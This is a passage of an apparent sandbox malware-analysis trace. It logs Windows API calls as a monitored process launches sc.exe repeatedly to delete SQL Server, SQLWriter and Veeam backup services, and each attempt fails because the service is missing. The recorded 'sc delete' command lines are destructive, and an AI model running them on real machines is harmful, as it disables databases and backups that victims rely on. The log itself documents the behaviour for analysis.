(hFile=0x120) returned 0x3 [0069.832] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x208e90 [0069.832] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x208e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n ", lpUsedDefaultChar=0x0) returned 98 [0069.832] WriteFile (in: hFile=0x120, lpBuffer=0x208e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xefcf8, lpOverlapped=0x0 | out: lpBuffer=0x208e90*, lpNumberOfBytesWritten=0xefcf8*=0x62, lpOverlapped=0x0) returned 1 [0069.832] LocalFree (hMem=0x208e90) returned 0x0 [0069.832] LocalFree (hMem=0x208db0) returned 0x0 [0069.832] LocalFree (hMem=0x0) returned 0x0 [0069.832] CloseServiceHandle (hSCObject=0x2043d0) returned 1 [0069.835] exit (_Code=1060) Thread: id = 35 os_tid = 0x9d4 Process: id = "19" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3ec1f000" os_pid = "0x9e4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete SQLWriter" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 36 os_tid = 0x9f4 [0069.896] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14fa90 | out: lpSystemTimeAsFileTime=0x14fa90*(dwLowDateTime=0x41d6ad30, dwHighDateTime=0x1d62774)) [0069.896] GetCurrentProcessId () returned 0x9e4 [0069.896] GetCurrentThreadId () returned 0x9f4 [0069.896] GetTickCount () returned 0x1148f45 [0069.896] QueryPerformanceCounter (in: lpPerformanceCount=0x14fa98 | out: lpPerformanceCount=0x14fa98*=18957136353) returned 1 [0069.898] GetModuleHandleW (lpModuleName=0x0) returned 0xff7a0000 [0069.898] __set_app_type (_Type=0x1) [0069.898] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff7a7228) returned 0x0 [0069.898] __wgetmainargs (in: _Argc=0xff7ab604, _Argv=0xff7ab610, _Env=0xff7ab608, _DoWildCard=0, _StartInfo=0xff7ab050 | out: _Argc=0xff7ab604, _Argv=0xff7ab610, _Env=0xff7ab608) returned 0 [0069.899] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.987] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0069.987] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0069.987] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0069.987] _wcsicmp (_String1="delete", _String2="query") returned -13 [0069.987] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0069.987] _wcsicmp (_String1="delete", _String2="start") returned -15 [0069.987] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0069.987] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0069.987] _wcsicmp (_String1="delete", _String2="control") returned 1 [0069.987] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0069.987] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0069.987] _wcsicmp (_String1="delete", _String2="config") returned 1 [0069.987] _wcsicmp (_String1="delete", _String2="description") returned -7 [0069.988] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0069.988] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0069.988] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0069.988] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0069.988] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0069.988] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0069.988] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0069.988] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0069.988] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0069.988] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0069.988] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0069.988] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0069.988] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0069.988] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0069.988] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0069.988] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0069.988] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0069.988] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0069.988] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x274370 [0069.991] OpenServiceW (hSCManager=0x274370, lpServiceName="SQLWriter", dwDesiredAccess=0x10000) returned 0x0 [0069.992] GetLastError () returned 0x424 [0069.992] _itow (in: _Dest=0x424, _Radix=1374456 | out: _Dest=0x424) returned="1060" [0069.992] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff7ab740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0070.007] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x14f8b0, nSize=0x2, Arguments=0x14f8e0 | out: lpBuffer="跀'") returned 0x62 [0070.007] GetFileType (hFile=0x120) returned 0x3 [0070.007] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x278ea0 [0070.008] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x278ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n'", lpUsedDefaultChar=0x0) returned 98 [0070.008] WriteFile (in: hFile=0x120, lpBuffer=0x278ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x14f858, lpOverlapped=0x0 | out: lpBuffer=0x278ea0*, lpNumberOfBytesWritten=0x14f858*=0x62, lpOverlapped=0x0) returned 1 [0070.008] LocalFree (hMem=0x278ea0) returned 0x0 [0070.008] LocalFree (hMem=0x278dc0) returned 0x0 [0070.008] LocalFree (hMem=0x0) returned 0x0 [0070.008] CloseServiceHandle (hSCObject=0x274370) returned 1 [0070.012] exit (_Code=1060) Thread: id = 37 os_tid = 0x9f8 Process: id = "20" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x40224000" os_pid = "0xa04" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete \"MSSQL$VEEAMSQL2012\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 38 os_tid = 0xa80 [0070.069] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22f850 | out: lpSystemTimeAsFileTime=0x22f850*(dwLowDateTime=0x41e756d0, dwHighDateTime=0x1d62774)) [0070.069] GetCurrentProcessId () returned 0xa04 [0070.069] GetCurrentThreadId () returned 0xa80 [0070.069] GetTickCount () returned 0x1148fb2 [0070.069] QueryPerformanceCounter (in: lpPerformanceCount=0x22f858 | out: lpPerformanceCount=0x22f858*=18974445123) returned 1 [0070.070] GetModuleHandleW (lpModuleName=0x0) returned 0xffe70000 [0070.070] __set_app_type (_Type=0x1) [0070.070] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffe77228) returned 0x0 [0070.070] __wgetmainargs (in: _Argc=0xffe7b604, _Argv=0xffe7b610, _Env=0xffe7b608, _DoWildCard=0, _StartInfo=0xffe7b050 | out: _Argc=0xffe7b604, _Argv=0xffe7b610, _Env=0xffe7b608) returned 0 [0070.071] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0070.073] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0070.073] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0070.073] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0070.073] _wcsicmp (_String1="delete", _String2="query") returned -13 [0070.073] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0070.073] _wcsicmp (_String1="delete", _String2="start") returned -15 [0070.073] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0070.073] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0070.073] _wcsicmp (_String1="delete", _String2="control") returned 1 [0070.073] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0070.073] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0070.073] _wcsicmp (_String1="delete", _String2="config") returned 1 [0070.073] _wcsicmp (_String1="delete", _String2="description") returned -7 [0070.073] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0070.073] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0070.073] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0070.073] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0070.073] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0070.074] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0070.074] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0070.074] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0070.074] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0070.074] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0070.074] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0070.074] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0070.074] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0070.074] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0070.074] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0070.074] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0070.074] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0070.074] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0070.074] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2f43e0 [0070.080] OpenServiceW (hSCManager=0x2f43e0, lpServiceName="MSSQL$VEEAMSQL2012", dwDesiredAccess=0x10000) returned 0x0 [0070.081] GetLastError () returned 0x424 [0070.081] _itow (in: _Dest=0x424, _Radix=2291384 | out: _Dest=0x424) returned="1060" [0070.081] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffe7b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0070.082] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x22f670, nSize=0x2, Arguments=0x22f6a0 | out: lpBuffer="跀/") returned 0x62 [0070.083] GetFileType (hFile=0x120) returned 0x3 [0070.083] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x2f8ea0 [0070.083] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x2f8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n/", lpUsedDefaultChar=0x0) returned 98 [0070.083] WriteFile (in: hFile=0x120, lpBuffer=0x2f8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x22f618, lpOverlapped=0x0 | out: lpBuffer=0x2f8ea0*, lpNumberOfBytesWritten=0x22f618*=0x62, lpOverlapped=0x0) returned 1 [0070.083] LocalFree (hMem=0x2f8ea0) returned 0x0 [0070.083] LocalFree (hMem=0x2f8dc0) returned 0x0 [0070.083] LocalFree (hMem=0x0) returned 0x0 [0070.083] CloseServiceHandle (hSCObject=0x2f43e0) returned 1 [0070.089] exit (_Code=1060) Thread: id = 40 os_tid = 0x34c Process: id = "21" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3fa29000" os_pid = "0x570" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete \"SQLAgent$VEEAMSQL2012\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 41 os_tid = 0x5a8 [0070.319] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10fe30 | out: lpSystemTimeAsFileTime=0x10fe30*(dwLowDateTime=0x41f80070, dwHighDateTime=0x1d62774)) [0070.319] GetCurrentProcessId () returned 0x570 [0070.319] GetCurrentThreadId () returned 0x5a8 [0070.319] GetTickCount () returned 0x1149020 [0070.319] QueryPerformanceCounter (in: lpPerformanceCount=0x10fe38 | out: lpPerformanceCount=0x10fe38*=18999471513) returned 1 [0070.320] GetModuleHandleW (lpModuleName=0x0) returned 0xfff80000 [0070.321] __set_app_type (_Type=0x1) [0070.321] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfff87228) returned 0x0 [0070.321] __wgetmainargs (in: _Argc=0xfff8b604, _Argv=0xfff8b610, _Env=0xfff8b608, _DoWildCard=0, _StartInfo=0xfff8b050 | out: _Argc=0xfff8b604, _Argv=0xfff8b610, _Env=0xfff8b608) returned 0 [0070.321] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0070.323] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0070.323] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0070.323] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0070.324] _wcsicmp (_String1="delete", _String2="query") returned -13 [0070.324] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0070.324] _wcsicmp (_String1="delete", _String2="start") returned -15 [0070.324] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0070.324] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0070.324] _wcsicmp (_String1="delete", _String2="control") returned 1 [0070.324] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0070.324] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0070.324] _wcsicmp (_String1="delete", _String2="config") returned 1 [0070.324] _wcsicmp (_String1="delete", _String2="description") returned -7 [0070.324] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0070.324] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0070.324] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0070.324] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0070.324] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0070.324] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0070.324] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0070.324] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0070.324] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0070.324] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0070.324] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0070.324] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0070.324] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0070.324] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0070.324] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0070.324] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0070.324] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0070.324] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0070.324] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1f43f0 [0070.329] OpenServiceW (hSCManager=0x1f43f0, lpServiceName="SQLAgent$VEEAMSQL2012", dwDesiredAccess=0x10000) returned 0x0 [0070.330] GetLastError () returned 0x424 [0070.330] _itow (in: _Dest=0x424, _Radix=1113240 | out: _Dest=0x424) returned="1060" [0070.330] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xfff8b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0070.331] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x10fc50, nSize=0x2, Arguments=0x10fc80 | out: lpBuffer="跐\x1f") returned 0x62 [0070.332] GetFileType (hFile=0x120) returned 0x3 [0070.332] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x1f8eb0 [0070.332] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x1f8eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x1f", lpUsedDefaultChar=0x0) returned 98 [0070.332] WriteFile (in: hFile=0x120, lpBuffer=0x1f8eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x10fbf8, lpOverlapped=0x0 | out: lpBuffer=0x1f8eb0*, lpNumberOfBytesWritten=0x10fbf8*=0x62, lpOverlapped=0x0) returned 1 [0070.332] LocalFree (hMem=0x1f8eb0) returned 0x0 [0070.332] LocalFree (hMem=0x1f8dd0) returned 0x0 [0070.332] LocalFree (hMem=0x0) returned 0x0 [0070.332] CloseServiceHandle (hSCObject=0x1f43f0) returned 1 [0070.341] exit (_Code=1060) Thread: id = 42 os_tid = 0xae0 Process: id = "22" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3fd2e000" os_pid = "0xa14" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete MSSQL" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 44 os_tid = 0xb80 [0070.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f9f0 | out: lpSystemTimeAsFileTime=0x18f9f0*(dwLowDateTime=0x420648b0, dwHighDateTime=0x1d62774)) [0070.405] GetCurrentProcessId () returned 0xa14 [0070.405] GetCurrentThreadId () returned 0xb80 [0070.405] GetTickCount () returned 0x114907d [0070.405] QueryPerformanceCounter (in: lpPerformanceCount=0x18f9f8 | out: lpPerformanceCount=0x18f9f8*=19008030814) returned 1 [0070.406] GetModuleHandleW (lpModuleName=0x0) returned 0xff3b0000 [0070.406] __set_app_type (_Type=0x1) [0070.406] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff3b7228) returned 0x0 [0070.406] __wgetmainargs (in: _Argc=0xff3bb604, _Argv=0xff3bb610, _Env=0xff3bb608, _DoWildCard=0, _StartInfo=0xff3bb050 | out: _Argc=0xff3bb604, _Argv=0xff3bb610, _Env=0xff3bb608) returned 0 [0070.407] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0070.410] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0070.410] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0070.410] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0070.410] _wcsicmp (_String1="delete", _String2="query") returned -13 [0070.410] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0070.410] _wcsicmp (_String1="delete", _String2="start") returned -15 [0070.410] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0070.410] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0070.410] _wcsicmp (_String1="delete", _String2="control") returned 1 [0070.410] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0070.410] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0070.410] _wcsicmp (_String1="delete", _String2="config") returned 1 [0070.410] _wcsicmp (_String1="delete", _String2="description") returned -7 [0070.410] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0070.410] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0070.410] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0070.410] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0070.410] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0070.410] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0070.410] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0070.410] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0070.410] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0070.411] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0070.411] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0070.411] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0070.411] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0070.411] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0070.411] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0070.411] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0070.411] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0070.411] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0070.411] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x244370 [0070.415] OpenServiceW (hSCManager=0x244370, lpServiceName="MSSQL", dwDesiredAccess=0x10000) returned 0x0 [0070.415] GetLastError () returned 0x424 [0070.415] _itow (in: _Dest=0x424, _Radix=1636440 | out: _Dest=0x424) returned="1060" [0070.415] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff3bb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0070.416] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x18f810, nSize=0x2, Arguments=0x18f840 | out: lpBuffer="跀$") returned 0x62 [0070.417] GetFileType (hFile=0x120) returned 0x3 [0070.417] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x248ea0 [0070.417] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x248ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n$", lpUsedDefaultChar=0x0) returned 98 [0070.417] WriteFile (in: hFile=0x120, lpBuffer=0x248ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x18f7b8, lpOverlapped=0x0 | out: lpBuffer=0x248ea0*, lpNumberOfBytesWritten=0x18f7b8*=0x62, lpOverlapped=0x0) returned 1 [0070.417] LocalFree (hMem=0x248ea0) returned 0x0 [0070.417] LocalFree (hMem=0x248dc0) returned 0x0 [0070.417] LocalFree (hMem=0x0) returned 0x0 [0070.417] CloseServiceHandle (hSCObject=0x244370) returned 1 [0070.420] exit (_Code=1060) Thread: id = 45 os_tid = 0xb54 Process: id = "23" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3f233000" os_pid = "0xb28" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete SQLAgent" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 46 os_tid = 0x618 [0070.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1cfa10 | out: lpSystemTimeAsFileTime=0x1cfa10*(dwLowDateTime=0x42122f90, dwHighDateTime=0x1d62774)) [0070.596] GetCurrentProcessId () returned 0xb28 [0070.596] GetCurrentThreadId () returned 0x618 [0070.596] GetTickCount () returned 0x11490cb [0070.596] QueryPerformanceCounter (in: lpPerformanceCount=0x1cfa18 | out: lpPerformanceCount=0x1cfa18*=19027183175) returned 1 [0070.598] GetModuleHandleW (lpModuleName=0x0) returned 0xffb70000 [0070.598] __set_app_type (_Type=0x1) [0070.598] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffb77228) returned 0x0 [0070.598] __wgetmainargs (in: _Argc=0xffb7b604, _Argv=0xffb7b610, _Env=0xffb7b608, _DoWildCard=0, _StartInfo=0xffb7b050 | out: _Argc=0xffb7b604, _Argv=0xffb7b610, _Env=0xffb7b608) returned 0 [0070.599] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0070.602] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0070.602] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0070.602] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0070.602] _wcsicmp (_String1="delete", _String2="query") returned -13 [0070.602] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0070.602] _wcsicmp (_String1="delete", _String2="start") returned -15 [0070.602] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0070.602] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0070.602] _wcsicmp (_String1="delete", _String2="control") returned 1 [0070.602] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0070.602] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0070.602] _wcsicmp (_String1="delete", _String2="config") returned 1 [0070.602] _wcsicmp (_String1="delete", _String2="description") returned -7 [0070.602] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0070.602] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0070.602] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0070.602] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0070.602] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0070.602] 